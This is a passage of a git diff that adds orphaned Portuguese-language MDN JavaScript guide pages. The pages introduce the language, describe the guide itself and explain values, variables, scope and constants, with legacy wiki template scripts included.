<td>bitwise-and</td> + <td><code>&</code></td> + </tr> + <tr> + <td>bitwise-xor</td> + <td><code>^</code></td> + </tr> + <tr> + <td>bitwise-or</td> + <td><code>|</code></td> + </tr> + <tr> + <td>logical-and</td> + <td><code>&&</code></td> + </tr> + <tr> + <td>logical-or</td> + <td><code>||</code></td> + </tr> + <tr> + <td>conditional</td> + <td><code>?:</code></td> + </tr> + <tr> + <td>assignment</td> + <td><code>= += -= *= /= %= <<= >>= >>>= &= ^= |=</code></td> + </tr> + <tr> + <td>comma</td> + <td><code>,</code></td> + </tr> + </tbody> +</table> + +<p>A more detailed version of this table, complete with links to additional details about each operator, may be found in <a href="/en-US/docs/JavaScript/Reference/Operators/Operator_Precedence#Table" title="en-US/docs/JavaScript/Reference/Operators/Operator_Precedence#Table">JavaScript Reference</a>.</p> diff --git a/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html b/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html new file mode 100644 index 0000000000..549ecbe331 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html @@ -0,0 +1,47 @@ +--- +title: Introdução ao JavaScript +slug: Web/JavaScript/Guia/Introdução_ao_JavaScript +--- +<p>Este capítulo introduz o JavaScript e discute alguns de seus conceitos fundamentais.</p> +<h3 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">O que é o JavaScript?</h3> +<p>O JavaScript é uma linguagem de script multiplataforma, orientada a objetos. O JavaScript é uma linguagem pequena e leve; não é útil como uma linguagem de uso isolado, mas é projetada para fácil integração em outros produtos e aplicações, tais como navegadores web. Dentro de um ambiente de hospedagem, o JavaScript pode ser conectado aos objetos de seu ambiente para proporcionar um controle programático sobre elas.</p> +<p>O núcleo do JavaScript contém um núcleo de objetos, como <code>Array</code>, <code>Date</code>, e <code>Math</code>, e um núcleo de elementos de linguagem como operadores, estruturas de controle, e declarações. O núcleo do JavaScript pode ser extendido para uma variedade de propósitos complementando-o com objetos adicionais; por exemplo:</p> +<ul> <li><em>O lado do cliente no JavaScript</em> extende o núcleo da linguagem fornecendo objetos para controlar um navegador (Navigator ou outro navegador web) e seu Document Object Model (DOM). Por exemplo, extensões para o lado do cliente permitem a uma aplicação colocar elementos em um formulário HTML e responder a eventos de usuários como cliques de mouse, entrada de dados e navegação na página.</li> <li><em>O lado do servidor no JavaScript</em> extende o núcleo da linguagem fornecendo objetos relevantes à execução de JavaScript no servidor. Por exemplo, extensões do lado do servidor permitem a uma aplicação comunicar-se com um banco de dados relacional, proporcionar continuidade de informação de uma invocação da aplicação para outra, ou executar manipulações de arquivos em um servidor.</li> +</ul> +<p>Através da funcionalidade JavaScript's LiveConnect, pode-se permitir que códigos em Java e em JavaScript comuniquem-se. É possível instanciar objetos Java e acessar seus métodos e campos públicos a partir do JavaScript. A partir do Java, por sua vez, pode-se acessar objetos, propriedades e métodos do JavaScript.</p> +<p>O Netscape inventou o JavaScript e o JavaScript foi inicialmente usado em navegadores Netscape.</p> +<h3 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript e Java</h3> +<p>O JavaScript e o Java são similares em algumas coisas, mas fundamentalmente diferentes em outras. A linguagem JavaScript assemelha-se ao Java, mas não possui a checagem de tipos forte e digitação estática do Java. O JavaScript suport a maioria das sintaxes de expressões em Java e um construtor básico de controles de fluxo.</p> +<p>Em contraste com o sistema em tempo de compilação do Java, de classes construídas por declarações, o JavaScript suporta um sistema de tempo de execução baseado em um pequeno número de tipos de dados representando números, booleanos, e valores de strings. O JavaScript possui um modelo de objetos baseado em protótipos, ao invés do mais comum, modelo de objetos baseado em classes. O modelo baseado em protótipos provê a herança dinâmica; isto é, o que é herdado pode variar para objetos individuais. O JavaScript também suporta funções sem requisições especiais de declaração. Funções podem ser propriedades de objetos, executando métodos fracamente tipados.</p> +<p>O JavaScript é uma linguagem com forma bastante livre comparada ao Java. Você não precisa declarar todas as variáveis, classes e métodos. Você não precisa se preocupar se os métodos são públicos, privados ou protegidos, e você não precisa implementar interfaces. Tipos de variáveis, parâmetros e retornos de funções não são explicitados.</p> +<p>O Java é uma linguagem de programação baseada em classes e projetava para rápida execução e tipagem segura. Tipagem segura significa, por exemplo, que você não pode converter um inteiro do Java para uma referência de um objeto ou acessar a memória privada, corrompendo bytecodes do Java. O modelo baseado em classes do Java significa que o programa consiste exclusivamente de classes e seus métodos. A herança das classes no Java e a tipagem forte, geralmente requerem objetos com hierarquias firmemente acopladas. Estes requisitos fazem do Java uma linguagem de programação mais complexa que a autoria do JavaScript.</p> +<p>Em contraste, o JavaScript descende em espírito de uma linha menor, linguagens tipadas dinamicamente, tais como HyperTalk e dBASE. Estas linguagens de stript oferecem ferramentas de programação para um público muito maior, devido a simplicidade de sua sintaxe, funcionalidades especializadas integradas e requisitos mínimos para criação de objetos.</p> +<table class="standard-table"> <caption>Tabela 1.1 JavaScript em comparação ao Java</caption> <thead> <tr> <th scope="col">JavaScript</th> <th scope="col">Java</th> </tr> </thead> <tbody> <tr> <td>Orientação a objetos. Sem distinção entre tipos de objetos. A herança ocorre através do mecanismo de protótipos e os métodos e propriedades podem ser adicionados a qualquer objeto dinamicamente.</td> <td>Baseada em classes. Objetos são divididos em classes e instâncias com toda a herança através da hierarquia da classe. Classes e instâncias não podem ter métodos e propriedades adicionados dinamicamente.</td> </tr> <tr> <td>Tipos de dados variáveis não são declarados (tipagem dinâmica).</td> <td>Tipos de dados variáveis precisam ser declarados (tipagem estática).</td> </tr> <tr> <td>Não pode escrever automaticamente no disco rígido.</td> <td>Não pode escrever automaticamente no disco rígido.</td> </tr> </tbody> +</table> +<p>Para mais informações sobre as diferenças entre o JavaScript e o Java, veja o capítulo <a href="/en/JavaScript/Guide/Details_of_the_Object_Model" title="en/JavaScript/Guide/Details of the Object Model">Details of the Object Model</a>.</p><h3 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript e a especificação ECMAScript</h3> +<p>O Netscape inventou o JavaScript e o JavaScript foi primeiramente usado nos navegadores Netscape. Entretanto, a Netscape está trabalhando com a <a class="external" href="http://www.ecma-international.org/">Ecma International</a> — a associação européia para padronizão de informação e sistemas de comunicação (formalmente conhecida como ECMA - European Computer Manufacturers Association, em português: Associação de Fabricantes de Computadores Europeus) — para entregar uma linguagem de programação internacional padronizada, baseada no JavaScript. Esta versão padronizada do JavaScript, chamada de ECMAScript, comporta-se da mesma maneira em todas as aplicações que suportem o padrão. Empresas podem usar a linguagem padrão aberta para desenvolver sua implementação do JavaScript. O ECMAScript padrão é documentado na especificação ECMA-262.</p> +<p>O padrão ECMA-262 é também aprovado pela <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization, em português: Organização Internacional para Padronização) como ISO-16262. Você pode encontrar uma <a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">versão PDF do ECMA-262</a> (en) no site da Mozilla. Você pode também encontrar a especificação em <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International website</a> (en). A especificação do ECMAScript não descreve o Document Object Model (DOM), o qual é padronizado pelo <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. O DOM define a maneira com a qual os objetos do documento HTML são expostos ao seu script.</p> +<h4 id="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions" name="Relationship_between_JavaScript_Versions_and_ECMAScript_Editions">Relação entre as versões do JavaScript e as edições do ECMAScript</h4> +<p>O Netscape trabalhou próximo a Ecma International para produzir a Especificação ECMAScript (ECMA-262). A tabela seguinte descreve a relação entre as versões do JavaScript e as edições do ECMAScript.</p> +<table class="standard-table"> <caption>Tabela 1.2 Versões do JavaScript e edições do ECMAScript</caption> <thead> <tr> <th scope="row">Versão do JavaScript</th> <th scope="col">Relação com a edição do ECMAScript</th> </tr> </thead> <tbody> <tr> <td>JavaScript 1.1</td> <td>O ECMA-262, Edição 1 é baseado no JavaScript 1.1.</td> </tr> <tr> <td>JavaScript 1.2</td> <td>O ECMA-262 não estava completo quando o JavaScript 1.2 foi lançado. O JavaScript 1.2 não é totalmente compatível com o ECMA-262, Edição 1, pelas seguintes razões: <ul> <li>O Netscape desenvolveu características adicionais no JavaScript 1.2 que não foram consideradas no ECMA-262.</li> <li>O ECMA-262 adiciona duas novas características: internacionalização usando Unicode e comportamento uniforme em todas as plataformas. Muitas características do JavaScript 1.2, tais com o objeto <code>Date</code>, eram dependentes de plataforma e usavam um comportamento específico da plataforma.</li> </ul> </td> </tr> <tr> <td> <p>JavaScript 1.3</p> </td> <td> <p>O JavaScript 1.3 é totalmente compatível com o ECMA-262, Edição 1.</p> <p>O JavaScript 1.3 corrigiu as inconsistências que o JavaScript 1.2 tinha com o ECMA-262, mantendo todas as características adicionais do JavaScript 1.2 com a exceção de == e !=, os quais foram mudados conforme o ECMA-262.</p> </td> </tr> <tr> <td> <p>JavaScript 1.4</p> </td> <td> <p>O JavaScript 1.4 é totalmente comatível com o ECMA-262, Edição 1.</p> <p>A terceira versão da especificação ECMAScript não estava finalizada quando o JavaScript 1.4 foi lançado.</p> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>O JavaScript 1.5 é totalmente compatível com o ECMA-262, Edição 3.</td> </tr> </tbody> +</table> +<div class="note"><strong>Nota</strong>: O ECMA-262, Edição 2 consistiu de mudanças editoriais pequenas e correções de bugs da especificação da Edição 1. O grupo de trabalho TC39 da Ecma International está atualmente trabalhando no ECMAScript Edição 4, o qual corresponderá a um lançamento futuro do JavaScript, o JavaScript 2.0.</div> +<p>A <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência de JavaScript</a> (en) indica quais características da linguagem estão em conformidade com o ECMAScript.</p> +<p>O JavaScript sempre permite incluir características que não fazem parte da Especificação do ECMAScript; O JavaScript é compatível com o ECMASCript; mesmo provendo características adicionais.</p><h4 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Documentação do JavaScript versus a especificação do ECMAScript</h4> +<p>A especificação do ECMAScript é um conjunto de requisitos para a implementação do ECMAScript; ela é útil caso deseje-se determinar, se uma característica do JavaScript é suportada em outras implementações do ECMAScript. Caso planeje-se escrever código JavaScript usando somente características suportadas pelo ECMAScript, então é interessante checar a especificação ECMAScript.</p> +<p>O documento ECMAScript não pretende ajudar programadores de scripts; para informações sobre escrita de scripts, deve-se usar a documentação do JavaScript.</p><h4 id="JavaScript_and_ECMAScript_Terminology" name="JavaScript_and_ECMAScript_Terminology">Terminologia do JavaScript e do ECMAScript</h4> +<p>A especificação do ECMAScript utiliza a terminologia e sintaxe que pode ser desconhecida para um programador JavaScript. Embora a descrição da linguagem possa diferir, a linguagem em si, é a mesma. O JavaScript suporta todas as funcionalidades descritas na especificação ECMAScript.</p> +<p>A documentação do JavaScript descreve aspectos da linguagem que são apropriados para um programador JavaScript. Por exemplo:</p> +<ul> <li>O Objeto Global não é discutido na documentação do JavaScript porque ele não é usado diretamente. Os métodos e propriedades do Objeto Global, os quais são usados, são discutidos na documentação do JavaScript, mas são chamados de funções e propriedades de nível superior.</li> <li>O construtor sem parâmetros (zero argumentos) com os objetos <code>Number</code> e <code>String</code> não é discutido na documentação do JavaScript, pois o gerado é pouco usado. Um construtor de <code>Number</code> sem nenhum argumento, retorna +0, e um construtor de <code>String</code> sem argumentos, retorna "" (uma string vazia).</li> +</ul> +<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters"); +wiki.languages({ + "en": "en/JavaScript/Guide/JavaScript_Overview", + "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_de_JavaScript", + "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript", + "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview", + "ko": "ko/Core_JavaScript_1.5_Guide/JavaScript_Overview", + "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Przegl\u0105d_JavaScriptu", + "zh-cn": "cn/Core_JavaScript_1.5_Guide/JavaScript\u603b\u89c8", + "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要" +});</pre> diff --git a/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html new file mode 100644 index 0000000000..6957645a40 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/sobre/index.html @@ -0,0 +1,166 @@ +--- +title: Sobre este guia +slug: Web/JavaScript/Guia/Sobre +--- +<p>JavaScript é uma linguagem de scripts multiplataforma, baseada em objetos. Este guia explica tudo que é necessário saber sobre como utilizar o JavaScript.</p> + +<h2 id="Novas_caraterísticas_em_versões_do_JavaScript">Novas caraterísticas em versões do JavaScript</h2> + +<pre class="script" style="font-size: 16px;">/* Nota: Para adicionar um link na descrição de uma nova versão do JavaScript, +adicione o número da variável versionList abaixo. A página ligada deve +residir em /en/JavaScript/New_in_JavaScript/N, onde N é o número da versão. */ + +var versionList = ["1.5", "1.6", "1.7", "1.8", "1.8.1", "1.8.5"]; +var s = ""; +<ul> + foreach (var i in versionList){ + let s = "/en/JavaScript/New_in_JavaScript/" .. i; + <li>web.link(s, wiki.getPage(s).title)</li>; + } +</ul>;</pre> + +<h2 id="O_que_já_é_necessário_saber">O que já é necessário saber</h2> + +<p>Este guia assume que já possui os seguintes conhecimentos como base:</p> + +<ul> + <li>Um entendimento geral da Internet e da World Wide Web (WWW).</li> + <li>Bom conhecimento de trabalho com HyperText Markup Language (<a href="/en/HTML" title="en/HTML">HTML</a>).</li> +</ul> + +<p>Alguma experiência de programação com uma linguagem como C ou Visual Basic é útil, mas não necessária.</p> + +<h2 id="Versões_do_JavaScript">Versões do JavaScript</h2> + +<table class="standard-table"> + <caption>Tabela 1 Versões do JavaScript e do Navigator</caption> + <thead> + <tr> + <th scope="col">versão JavaScript</th> + <th scope="col">versão Navigator</th> + </tr> + </thead> + <tbody> + <tr> + <td>JavaScript 1.0</td> + <td>Navigator 2.0</td> + </tr> + <tr> + <td>JavaScript 1.1</td> + <td>Navigator 3.0</td> + </tr> + <tr> + <td>JavaScript 1.2</td> + <td>Navigator 4.0-4.05</td> + </tr> + <tr> + <td>JavaScript 1.3</td> + <td>Navigator 4.06-4.7x</td> + </tr> + <tr> + <td>JavaScript 1.4</td> + <td> </td> + </tr> + <tr> + <td>JavaScript 1.5</td> + <td>Navigator 6.0<br> + Mozilla (navegador open source)</td> + </tr> + <tr> + <td>JavaScript 1.6</td> + <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, outros produtos baseados no Mozilla 1.8</td> + </tr> + <tr> + <td>JavaScript 1.7</td> + <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, outros produtos baseados no Mozilla 1.8.1</td> + </tr> + <tr> + <td>JavaScript 1.8</td> + <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, outros produtos baseados no Gecko 1.9</td> + </tr> + </tbody> +</table> + +<p>Cada versão do Netscape Enterprise Server também suporta diferentes versões do JavaScript. Para ajudar na escrita de scripts compatíveis com múltiplas versões do Enterprise Server, este manual usa uma abreviação para indicar a versão do servidor na qual cada característica foi implementada.</p> + +<table class="standard-table"> + <caption>Tabela 2 Abreviações das versões do Netscape Enterprise Server</caption> + <thead> + <tr> + <th scope="col">Abreviação</th> + <th scope="col">versão Enterprise Server</th> + </tr> + </thead> + <tbody> + <tr> + <td>NES 2.0</td> + <td>Netscape Enterprise Server 2.0</td> + </tr> + <tr> + <td>NES 3.0</td> + <td>Netscape Enterprise Server 3.0</td> + </tr> + </tbody> +</table> + +<h2 id="Onde_encontrar_informações_sobre_JavaScript">Onde encontrar informações sobre JavaScript</h2> + +<p>A documentação do JavaScript inclui os seguintes livros:</p> + +<ul> + <li><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Guia de JavaScript</a> (este guia) fornece informações sobre a linguagem JavaScript e seus objetos.</li> + <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência JavaScript</a> fornece material de referência para a linguagem JavaScript.</li> +</ul> + +<p>Se você é novo no JavaScript, comece com o <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Guia de JavaScript</a>. Uma vez que você tenha uma boa compreensão dos fundamentos, você pode usar a <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Referência JavaScript</a> para obter mais detalhes sobre objetos e declarações.</p> + +<h2 id="Dicas_para_aprender_JavaScript">Dicas para aprender JavaScript</h2> + +<p>Começar com o JavaScript é fácil: é necessário apenas um navegador web moderno. Este guia inclui algumas características do JavaScript que estão atualmente disponíveis nas últimas versões do Firefox (e outros navegadores baseados no Gecko), é recomendado, portanto, o uso da versão mais recente do Firefox.</p> + +<h3 id="Um_interpretador_interativo">Um interpretador interativo</h3> + +<p>Uma linha de comando interativa com JavaScript é inestimável para o aprendizado da linguagem, pois permite experimentar código de forma interativa sem ter que salvar um arquivo e recarregar a página. O Console de erros do Firefox, acessível através do menu de Ferramentas, fornece uma maneira simples de testar JavaScript interativamente: Basta entrar uma linha de código e clicar no botão "Executar".</p> + +<p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p> + +<h3 id="Firebug">Firebug</h3> + +<p>Uma linha de comando interativa mais avançada está disponível com o uso do<a class="external" href="http://www.getfirebug.com/"> Firebug</a>, uma extensão de terceiros para o Firefox. O Firebug também fornece um inspetor DOM avançado, um depurador de JavaScript, uma ferramenta de análise e vários outros utilitários.</p> + +<p><img alt="Image:Firebug.png" class="internal" src="/@api/deki/files/204/=Firebug.png"></p> + +<p>Um dos mais úteis benefícios proporcionados pelo Firebug é <code>console.log()</code>, uma função que imprime seus argumentos no console do Firebug. Diferentemente de outras linguagens de programação, o JavaScript não possui um conceito de impressão para a saída padrão. O <code>console.log()</code> fornece uma alternativa útil, tornando mais fácil ver o que seu programa está fazendo.</p> + +<p>Muitos dos exemplos neste guia usam <code>alert()</code> para exibir mensagens conforme são executados. Tendo o Firebug instalado, pode ser usando <code>console.log()</code> ao invés de <code>alert()</code> ao rodar estes exemplos.</p> + +<h2 id="Convenções_de_documento">Convenções de documento</h2> + +<p>Aplicações JavaScript rodam em muitos sistemas operacionais; a informação neste livro aplica-se a todas as versões. Os caminhos de arquivos e diretórios são dados no formato Windows (com contrabarras separando os nomes dos diretórios). Para versões Unix, os caminhos são os mesmo, exceto por serem usadas barras ao invés de contrabarras para separar os diretórios.</p> + +<p>Este guia usa localizador padrão de recursos (<em>uniform resource locators</em> (URL)) da seguinte forma:</p> + +<p><code>http://<em>server</em>.<em>domain</em>/<em>path</em>/<em>file</em>.html</code></p> + +<p>Nestas URL, <em>server</em> representa o nome do servidor no qual a aplicação é rodada, tal como <code>research1</code> ou <code>www</code>; <em>domain</em> representa seu domínio de internet, como <code>netscape.com</code> ou <code>uiuc.edu</code>; <em>path</em> representa a estrutura do diretório no servidor; e <em>file</em><code>.html</code> representa o nome de um arquivo individual. No geral, itens em itálico em são <em>placeholders</em> e itens em fonte monoespaçada normal são literais. Se o servidor possuir <em>Secure Sockets Layer</em> (SSL) habilitado, pode ser usado <code>https</code> ao invés de <code>http</code> na URL.</p> + +<p>Este guia utiliza as seguintes convenções de fontes:</p> + +<ul> + <li><code>A fonte mono espaçada</code> é utilziada para amostras de código e listagens de código, API e elementos da linguagem (como nomes de métodos e propriedades), nome de arquivos, caminhos, diretórios, tags HTML, e qualquer texto que possa ser digitado na tela. (<code><em>A fonte monoespaçada itálica</em></code> é usada para <em>placeholders </em>embutidos no código.)</li> + <li><em>O tipo itálico</em> é usado para títulos de livros, ênfase, variáveis e <em>placeholders</em>, e palavras usadas em sentido literal.</li> + <li><strong>O tipo negrito</strong> é usado para termos de glossário.</li> +</ul> + +<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters"); +wiki.languages({ + "en": "en/JavaScript/Guide/About", + "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda", + "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos", + "ja": "ja/Core_JavaScript_1.5_Guide/About", + "ko": "ko/Core_JavaScript_1.5_Guide/About", + "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku", + "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e", + "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/關於" +}) +</pre> diff --git a/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html b/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html new file mode 100644 index 0000000000..c2cbc7f3db --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html @@ -0,0 +1,547 @@ +--- +title: 'Valores, Variáveis e Literais' +slug: 'Web/JavaScript/Guia/Valores,_Variáveis_e_Literais' +--- +<p>Este capítulo discute valores reconhecidos pelo JavaScript e descreve a construção de blocos fundamentais de expressões em JavaScript: variáveis, constantes e literais.</p> + +<h2 id="Valores">Valores</h2> + +<p>O JavaScript reconhece os seguintes tipos de valores:</p> + +<ul> + <li><a href="/en/JavaScript/Reference/Global_Objects/Number" title="en/JavaScript/Reference/Global Objects/Number">Números</a> (en), como 42 ou 3,14159</li> + <li>Valores <a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/JavaScript/Reference/Global Objects/Boolean">lógicos (Booleanos)</a> (en), <code>true</code> ou <code>false</code></li> + <li><a href="/en/JavaScript/Reference/Global_Objects/String" title="en/JavaScript/Reference/Global Objects/String">Strings</a> (en), tais como "Howdy!"</li> + <li><code>null</code>, um palavra chave especial denotando um valor nulo; <code>null</code> também é um valor primitivo. Como JavaScript é sensível a maiúsculas, <code>null</code> não é a mesma coisa que <code>Null</code>, <code>NULL</code>, ou qualquer outra variante</li> + <li><code><a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global Objects/undefined">undefined</a></code> (en), uma propriedade de alto nível a qual possui o valor indefinido; <code>undefined</code> também é um valor primitivo.</li> +</ul> + +<p>Este conjunto de tipos de valores relativamente pequeno, permite realizar funções úteis com suas aplicações. Não há distinção explícita entre números inteiros e reais. Nem existe um tipo de dados de datas explícito em JavaScript. Entretanto, é possível utilizar o objeto <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">Date</a></code> (en) e seus métodos para lidar com datas.</p> + +<p><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">Objetos</a> (en) e <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function">funções</a> (en) são os outros elementos fundamentias da linguagem. Pode-se pensar em objetos como nomes nos quais podem ser guardados valores, e funções como procedimentos que sua aplicação pode executar.</p> + +<h3 id="Conversão_de_tipos_de_dados">Conversão de tipos de dados</h3> + +<p>O JavaScript é uma linguagem de tipagem dinâmica. Isto significa que não é necessário especificar o tipo de dado de uma variável quando ela for declarada, e tipos de dados são automaticamento convertidos conforme necessário durante a execução do script. Então, por exemplo, pode-se definir uma variável como:</p> + +<pre>var resposta = 42; +</pre> + +<p>E depois, pode-se atribuir para a mesma variável um valor de string, por exemplo:</p> + +<pre class="deki-transform">resposta = "Obrigado pelos peixes..."; +</pre> + +<p>Como o JavaScript possui tipagem dinâmica, esta atribuição não gera uma mensagem de erro.</p> + +<p>Em expressões envolvendo valores numéricos e strings com o operador +, o JavaScript converte valores numérios para string. Por exemplo, considere as seguintes declarações:</p> + +<pre class="eval deki-transform">x = "A resposta é " + 42 // retorna "A resposta é 42" +y = 42 + " é a resposta" // retorna "42 é a resposta" +</pre> + +<p>Em declarações envolvendo outros operadores, o JavaScript não converte valores numérico para strings. Por exemplo:</p> + +<pre class="eval deki-transform">"37" - 7 // retorna 30 +"37" + 7 // retorna "377"</pre> + +<h2 id="Variáveis">Variáveis</h2> + +<p>Variáveis são usadas como nomes simbólicos para valores em sua aplicação. Os nomes das variáveis, chamadas <em>identificadores</em>, de acordo com certas regras.</p> + +<p>Um identificador JavaScript deve começar com uma letra, sublinhado (_), ou cifrão ($); caracteres subsequentes podem também ser dígitos (0-9). Como o JavaScript é sensível a maiúsculas, as letras incluem os caracteres de "A" até "Z" (maiúsculas) e os caracteres de "a" até "z" (minúsculas).</p> + +<p>A partir do JavaScript 1.5 é possível usar letras em ISO 8859-1 ou Unicode tais como å e ü nos identificadores. Também é possível usar as <a href="#Sequências de escape em Unicode">Sequências de escape em Unicode</a> \uXXXX como caracteres nos identificadores.</p> + +<p>Alguns exemplos de nomes possíveis são: <code>Number_hits</code>, <code>temp99</code> e <code>_name</code>.</p> + +<h3 id="Declaração_de_variáveis">Declaração de variáveis</h3> + +<p>Você pode declarar uma variável de duas maneiras:</p> + +<ul> + <li>Com a palavra chave <a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var">var</a>. Por exemplo, <code>var x = 42</code>. Esta sintaxe pode ser usada para declarar tanto variáveis <a href="#Variable_Scope">locais quanto globais</a> (en).</li> + <li>Simplesmente atribuindo um valor a ela. Por exemplo, <code>x = 42</code>. Isto sempre declara uma <a href="#Global_Variables">variável global</a> (en) e gera um aviso estrito do JavaScript. Esta variante não deve ser usada.</li> +</ul> + +<h3 id="Avaliação_de_variáveis">Avaliação de variáveis</h3> + +<p>Uma variável declarada usando-se a declaração <code>var</code> sem possuir um valor inicial especificado possui o valor <code><a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global Objects/undefined">undefined</a></code>.</p> + +<p>Uma tentativa de acesso a uma variável não declarada resultará no lançamento de uma exceção <code>ReferenceError</code>:</p> + +<pre class="eval deki-transform">var a; +print("O valor de a é " + a); // imprime "O valor de a é undefined" +print("O valor de b é " + b); // lança a exceção ReferenceError +</pre> + +<p>Você pode usar <code>undefined</code> para determinar quando uma variável possui um valor. No código a seguir, a variável <code>input</code> não possui um valor atribuido e a declaração <code><a href="/en/JavaScript/Reference/Statements/if...else" title="en/Core_JavaScript_1.5_Reference/Statements/if...else">if</a></code> é avaliada como <code>true</code>.</p> + +<pre class="eval deki-transform">var input; +if(input === undefined){ + doThis(); +} else { + doThat(); +} +</pre> + +<p><span class="comment">O valor</span> <code>undefined</code> comporta-se como <code>false</code> quando usado em um contexto booleano. Por exemplo, o código a seguir executa a função <code>myFunction</code> porque o elemento <code>myArray</code> não está definido:</p> + +<pre class="eval deki-transform">var myArray = new Array(); +if (!myArray[0]) myFunction(); +</pre> + +<p>Quando você avalia uma variável nula, o valor nulo comporta-se como um 0 no contexto numérico e como falso em contextos booleanos. Por exemplo</p> + +<pre class="eval deki-transform">var n = null; +print(n * 32); // imprime 0 +</pre> + +<h3 id="Escopo_de_variáveis">Escopo de variáveis</h3> + +<p>Quando uma variável é declarada de fora de qualquer função, ele é chamada de variável <em>global</em>, pois ela está disponível para qualquer outro código no documento atual. Quando você declara uma variável dentro de uma função, ela é chamada de variável <em>local</em>, pois ela está disponível somente dentro dessa função.</p> + +<p>O JavaScript não possui um escopo de <a href="/en/JavaScript/Guide/Statements#Block_Statement" title="en/JavaScript/Guide/Statements#Block Statement">declaração de blocos</a> (en); ao contrário, será local para o código interno ao bloco. Por exemplo, o código a seguir imprimirá <code>0</code> ao invés de lançar a exceção <span><span class="comment">ReferenceError se</span></span> <code>condition</code> é <code>false</code>:</p> + +<pre class="eval deki-transform">if (condition) { + var x = 5; +} +print(x ? x : 0); +</pre> + +<p>Outra coisa não usual sobre variáveis em JavaScript é que é possível referir-se a uma variável declarada depois, sem receber uma exceção. Este conceito é conhecido como <em>hoisting</em>; as variáveis no JavaScript são levadas para o topo da função ou da declaração. Entretanto, as variáveis não inicializadas retornarão um valor <code>undefined</code>.</p> + +<pre class="eval deki-transform">print(x === undefined); // prints "true" +var x = 3; + +//will return a value of undefined +var myvar = "my value"; + +(function() { + alert(myvar);//undefined + var myvar = "local value" +})(); +</pre> + +<h3 id="Variáveis_globais">Variáveis globais</h3> + +<p><span class="comment">necessário links para as páginas discutindo cadeias no âmbito do objeto global</span> Variáveis globais são, na verdade, propriedade de um <em>objeto global</em>. Em páginas web o objeto global é <code><a href="/en/DOM/window" title="en/DOM/window">window</a></code>, então você pode configurar e acessar variáveis globais usando a sintaxe<code> window.<em>variable</em></code>.</p> + +<p>Consequentemente, você pode acessar variáveis globais declaradas em uma janela ou quadro de alguma outra janela ou quadro, especificando o nome do mesmo. Por exemplo, se uma variável chamada <code>phoneNumber</code> é declarada em um documento <code>FRAMESET</code>, você pode referir-se a esta variável a partir de um frame herdeiro como <code>parent.phoneNumber</code>.</p> + +<h3 id="Veja_também">Veja também</h3> + +<p><a href="/en/Sharp_variables_in_JavaScript" title="en/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> (en)</p> + +<h2 id="Constantes">Constantes</h2> + +<p>Você pode criar elementos "somente leitura", nomeados constantes com a palavra chave <code><a href="/en/JavaScript/Reference/Statements/const" title="en/Core_JavaScript_1.5_Reference/Statements/const">const</a></code>. A sintaxe de um identificador constante é a mesma para um identificador de variáveis: deve começar com uma letra ou sublinhado e pode conter caracteres alfabéticos, numéricos ou sublinhado.</p> + +<pre class="eval deki-transform">const prefix = '212'; +</pre> + +<p>Uma constante não pode ter seu valor mudado através de uma atribuição ou ser declarada novamente enquanto o script estiver rodando.</p> + +<p>As regras de escopo para constantes são as mesmas que as das variáveis, exceto que a palavra chave <code>const</code> é sempre necessária, mesmo para constantes globais. Se uma palavra chave é omitida, o identificador é assumido como uma variável.</p> + +<p>Você 